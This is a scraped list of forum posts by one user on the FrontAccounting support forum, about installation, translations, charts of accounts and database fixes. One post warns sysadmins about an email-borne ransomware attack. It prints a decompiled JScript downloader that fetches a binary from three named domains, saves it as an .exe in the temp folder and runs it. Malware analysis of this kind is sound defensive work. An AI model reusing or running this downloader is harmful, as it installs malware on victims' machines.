3,701 Reply by apmuthu

(10 replies, posted in Report Bugs here)

Yes, unzip the contents of the snapshot into your FA webroot overwriting existing files.
Make sure that the necessary folders and files are webserver writeable as needed.
The MySQL user should have the necessary privileges before installation.

Go to forum: Report Bugs here

3,702 Reply by apmuthu

(23 replies, posted in Misc. Charts of Accounts)

Thanks for the differences between SKR 3 and 4. If you are following this SKR03 chart, then beware that FA does not like account numbers starting with "0" (zero).

This article was useful - SKR 03 und SKR 04 für die Buchführung von Unternehmen. (SKR 03 and SKR 04 for the accounting of business).

For the user table, keep the default username and password fields the same as in the en_US-new.sql file.

UStG (Deutscheland) == Value Added Tax Act (Germany)

The graph in the Wikipedia article proves that the Government is becoming expensive and soon people should discard it - why "buy" / "tolerate" expensive politicians and bureaucrats wink

Go to forum: Misc. Charts of Accounts

3,703 Reply by apmuthu

(23 replies, posted in Misc. Charts of Accounts)

Since FA 2.3 stable is not being ordinarily updated and will receive only critical updates, your CoA probably will not see the light of day.

It may however be modified and get offered as a FA 2.4 pkg.

Should you wish to make it available to the community, you can upload it somewhere and paste the link here or alternatively fork my FA GitHub repo (which has the extensions as well) and include it therein and send in a pull request.

The dev team is busy with getting FA 2.4 out the door.

Could you please state what was outdated in the existing German CoA?

The Mixed table types is intended in FA 2.3 whilst in FA 2.4 all tables have become InnoDB even though CASCADEs are not implemented as yet. IMHO it is better to retain all non-transaction tables as MyISAM as it is easier to recover from corruption for those tables.

Go to forum: Misc. Charts of Accounts

3,704 Reply by apmuthu

(2 replies, posted in Setup)

I placed it there so that the community can participate to fill in the translations - 11 to 12% of the strings are done so far in Tamil. Use Google Translate as a first run to save typing in Tamil. The Google translate plugin is in GlotPress but needs a GOOGLE API KEY to work. Google translation on the fly using their API is no longer free and needs to be paid for now. The reason I made the GlotPress zip bundle is that the original code base just states it is based on BackPress but does not include it and does not prominently indicate where it should be placed.

If you wish to translate it using Transifex (no installation needed) online, make an account for yourself and PM me the username - I'll add you to the "Collaborator list" for Tamil.

Go to forum: Setup

3,705 Reply by apmuthu

(4 replies, posted in Accounts Receivable)

ITBM: Impuesto de Transferencia de Bienes Muebles
(Spanish: Tax Transfer of Movable Goods; Panama)

Install the es_PA language extension and choose it in your preferences.

The relevant translations for VAT strings in the .po file are:

msgid "TOTAL ORDER EX VAT"
msgstr "TOTAL PEDIDO SIN IVA"

msgid "TOTAL PO EX VAT"
msgstr "TOTAL ORDEN DE COMPRA SIN IVA"

msgid "Your VAT no."
msgstr "Su R.U.C."

If you want to change anything in these translations, post them here and we can generate a new .mo file for you. The current .mo/.po files will be in WEBROOT/languages/es_PA/LS_MESSAGES/ folder.

Go to forum: Accounts Receivable

3,706 Reply by apmuthu

(10 replies, posted in Report Bugs here)

Which platform for server and what browser and version? Use latest stable snapshot.

Go to forum: Report Bugs here

3,707 Reply by apmuthu

(12 replies, posted in Reporting)

Create a new language with translations for VAT. See the en_IN .po file.

Go to forum: Reporting

3,708 Topic by apmuthu

(2 replies, posted in Setup)

If you want to make your own .mo files using GlotPress after tweaking and improving the translations of your languages, you can download the instructions and files set along with the sql file to start you off.

XAMPP / localhost GlotPress install instructions
================================================
1. Unzip the downloaded fileset.
2. Unzip glotpress_localhost.zip into the webroot - this will create the glotpress folder.
3. Execute the glotpress_FA23_2015-11-12.sql in any MySQL client - this will create the necessary tables and fill it with some data.
4. The MySQL root user with no password is the default and the DB settings are in gp-config.php
5. Login URL: http://localhost/glotpress
6. username: gpadmin
7. password: pwd123

Go to forum: Setup

3,709 Reply by apmuthu

(1 replies, posted in Accounts Receivable)

All these fields you stated are in the stock_master table:
Item Code => stock_id
Name => description
Description => long_description

On invoice creation, the last field above does not find a place in the debtor_trans_details.

The report rep107.php prints the invoices and uses the function get_customer_trans_details() to fetch the transaction details and is defined in sales/includes/db/cust_trans_details_db.inc. The said function returns all fields of the debtor_trans_details table for the chosen transactions, along with an aliased field debtor_trans_details.description As StockDescription among others. In rep107.php, the variable $myrow2 has the details of the current transaction being sent to the print output stream.

It is possible that this was a mistake and the real intention was to obtain the stock_master.long_description AS StockDescription which would sate your need. This will however need an extra join of the requisite table - stock_master - in the sql.

Go to forum: Accounts Receivable

3,710 Reply by apmuthu

(1 replies, posted in Banking and General Ledger)

Yes, but directly in SQL:
1. Taking a backup of the db
2. Delete all entries of the batch in the tables using a MySQL client like phpMyAdmin/SQLyog.
3. Take fresh backup of db
4a. Now import the batch with the correct data after resetting the Voucher numbers.
or
4b. Compare the backups and extract the difference entries, correct the dates with search and replace and then import the data as INSERT statements.

Lesson to be learned from this experience in hindsight:
1. Take a backup regularly and comment them appropriately.
2. Atleast take a backup before and after bulk imports.

Go to forum: Banking and General Ledger

3,711 Reply by apmuthu

(8 replies, posted in Report Bugs here)

Which browser and version are you using. Ajax is necessary to fill in the UOM from the stock_master lookup table. If that does not work, then the insert would be as you get now.

Go to forum: Report Bugs here

3,712 Reply by apmuthu

(6 replies, posted in Setup)

Line 285 in admin/db/maintenance_db.inc has it hardcoded - adjust to speed of server and connectivity:

    ini_set("max_execution_time", "180");

Go to forum: Setup

3,713 Topic by apmuthu

(0 replies, posted in Setup)

This post is intended for SysAdmins who are responsible for the security of their (FA) installations and / or monitoring their users devices and activity for vulnerabilities.

An analysis of a WinXP machine revealed that on uninstallation of an Adware "Junior Icon Editor" resulted in the installation and execution of a Ransomware virus. On rebooting into safe mode, the virus had already encrypted a host of files with a txt, doc, zip png, jpg, extensions renaiming them to an additional extension of .ccc and was readying itself to create system wide havoc by auto starting itself on reboot. Recovery is impossible if we are to believe their threat dropped into practically every folder on the C Drive as html and txt files as the data are purported to be encryped using a RSA 2048 bit cypher.

A recent article on the proliferation of Ransomware in Linux servers raised the bar on datacenter protective security measures. Good business for "Cyber ecurity Consultants" indeed. Universities are joining the bandwagon in providning lucrative courses in this domain despite not having any skills in this regard!

An email file attachment received was a zipped js file. A Payload Security online scan of the attachment revealed no threat. The js code was split up and put into obfuscated variables and made into functions that return their snippet and listed in a randomised manner and then concatenated into obtaining the actual payload which is then eval-ed. A semi-automated decompilation and tidying up resulted in the following:

// Start of Decompile
// cryptographic machine GUID, ability to lookup the windows account name, Reads the active computer name
var str="5552505E05140911100C11241117054A0A01105E3C5E070D100D1E010A4A070B094A0C0F5E17555E555050535654565055575E55";

// var b = "samiragallery.com lincolnracing.com alejandrosanchezvejar.com".split(" ");

var b[0] = "samiragallery.com";
var b[1] = "lincolnracing.com";
var b[2] = "alejandrosanchezvejar.com";

var ws= WScript.CreateObject("WScript.Shell"); 
var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"998317"; 
var xo = WScript.CreateObject("MSXML2.XMLHTTP"); 
var xa = WScript.CreateObject("ADODB.Stream"); 
var ld = 0; 
for (var n=1; n<=3; n++) { 
    for (var i=ld; i<b.length; i++) { 
        var dn = 0; 
        try { 
            xo.open("GET","http://"+b[i]+"/counter/?id="+str+"&rnd=26181"+n, false); xo.send(); 
            if (xo.status == 200) { 
                xa.open(); 
                xa.type = 1; 
                xa.write(xo.responseBody); 
                if (xa.size > 1000) { 
                    dn = 1; 
                    xa.position = 0; 
                    xa.saveToFile(fn+n+".exe",2); 
                    try { 
                        ws.Run(fn+n+".exe",1,0); 
                    } catch (er) { }; 
                }; 
                xa.close(); 
            }; 
            if (dn == 1) { 
                ld = i; 
                break; 
            }; 
        } catch (er) { }; 
    }; 
};

//         function b3(){return eval;};
//         b3()(v6);
// commented out for safety
// eval(v6);

// End of Decompile

On executing the xo.open GET url of the 3 sites listed in the code above, a malicious binary is streamed into the system and then renamed as an exe file - the linux variation isn't hard to fathom.

The first malicious site in the code is listed as a privacy enabled domain in GoDaddy.com. Securi Site Check lists it as "Infected".  Virus-Total lists the last few accesses that show the same url template listed in the code herein.

Standard Operating Procedures of Criminal conglomerates, geeky script kiddies, "Rogue" nations security apparatus, "Penetration testing" masquerades, ...... highest bidder ...... monopolisers...... Security / Anti-Virus corporates.....

Go to forum: Setup

3,714 Reply by apmuthu

(6 replies, posted in Setup)

Bandwidth issue? Ajax does POST and refreshes part of the screen as appropriate.
What platform is your server on and what version of FA are you using?
Preferable to use the latest stable snapshot.

Go to forum: Setup

3,715 Reply by apmuthu

(8 replies, posted in Report Bugs here)

Line 218 of sales/view/view_sales_order.php:

    label_cell($stock_item->units);

is used to display the UOM.

The array $stock_item comes from each element in $_SESSION['View']->line_items.

Hence, unless the unit of measure was not pre-defined or the session got corrupted, the proper UOM should be displayed. It is possible that if session values get corrupted in several places, then you need to check the php's "session save path" setting and if other programs or multiple instances of FA deployments with the same session path are causing conflicts due to overwriting.

The original data storage is based on these session values when the form is submitted. It is hence imperative to make sure that if the correct UOM is chosen on editing a line item and committed by clicking the line item's submit button before proceeding with submission of the order as a whole.

Go to forum: Report Bugs here

3,716 Reply by apmuthu

(20 replies, posted in Translations)

Uploaded 40 languages - both core and installer language resources are there. Many installer language .po files are now 100 % translated. Others and those in the core have their translations added to.

Attached is the current consolidated status of the translations in Transifex FA v2.3 project. Anyone interested in maintaining their own languages can PM me for update access specifying the language to be maintained by them.

There is another Transifex project for FA 2.3 started by Gjergj Sheldija mainly for the Albanian language. It will now get redirected here and is privately maintained.

Those who wish to download the latest translations for all languages in one go can unzip the contents of this file into a single folder and then on the Windows command prompt, cd into the folder and then execute tx pull -a and all the .po files will get into the respective lang and install/lang folders whilst the unconfigured ones will get into a po folder.

Go to forum: Translations

3,717 Reply by apmuthu

(6 replies, posted in Setup)

Setup => Company Setup => Login Timeout has a default of 600 seconds (10 minutes) - you can make it 86400 (1 day) if needed.

Go to forum: Setup

3,718 Reply by apmuthu

(12 replies, posted in Setup)

This thread has the downloadable tutorial.

Go to forum: Setup

3,719 Topic by apmuthu

(0 replies, posted in Reporting)

Today's commit in FA 2.4 for the rep709.php was tested out and the before and after reports show that the 0.00% in the Tax Report last page is now called "Exempt". What else does it do? Where is the "which" separate line display of tax.

Go to forum: Reporting

3,720 Topic by apmuthu

(0 replies, posted in Setup)

The use of MySQL collations in FA 2.4 has been articled in the Wiki.

Go to forum: Setup

3,721 Reply by apmuthu

(2 replies, posted in Report Bugs here)

All translation files in both the language extensions and in the core installer languages have been corrected in my repo for FA 2.3. This includes various language "Google Translations" that rendered "%s" as "% s" (an erroneous space between the 2 characters) wrongly as well.

Go to forum: Report Bugs here

3,722 Reply by apmuthu

(2 replies, posted in Accounts Payable)

Take a backup before and after creating a Credit Note and see what tables and fields are affected - if no summary postings in multiple tables arise, just edit the atomic change!

Go to forum: Accounts Payable

3,723 Reply by apmuthu

(4 replies, posted in Banking and General Ledger)

That is mimicked in FA using Quick Entries.

Go to forum: Banking and General Ledger

3,724 Reply by apmuthu

(3 replies, posted in Banking and General Ledger)

FrontAccounting system transaction types are listed in includes/types.inc and maps onto the labels in the Forms Setup screen. You cannot add new transaction types (except through custom or standard extension modules). Cash Payment Voucher is a type of Bank Transaction. In the said file look up: Bank transaction types:

//        Bank transaction types
//
define('BT_TRANSFER', 0);
define('BT_CHEQUE', 1);
define('BT_CREDIT', 2);
define('BT_CASH', 3);

Under Banking & General Ledger tab check out the Bank Accounts screen - you will find that petty Cash is a Bank Account.
When setting up a bank account, choose it's type from the the above choices - in your case, it will be Cash account (BT_CASH => 3).
Bank and Cash Vouchers use a same numbering sequence.
Packing List and Delivery Note use another same numbering sequence.

Go to forum: Banking and General Ledger

3,725 Reply by apmuthu

(3 replies, posted in Setup)

Which version of FA are you using? Try to use the latest stable FA 2.3 snapshot. After setting the preferences in Forms Setup, logout, clear browser cache  and login again and check it out.

Go to forum: Setup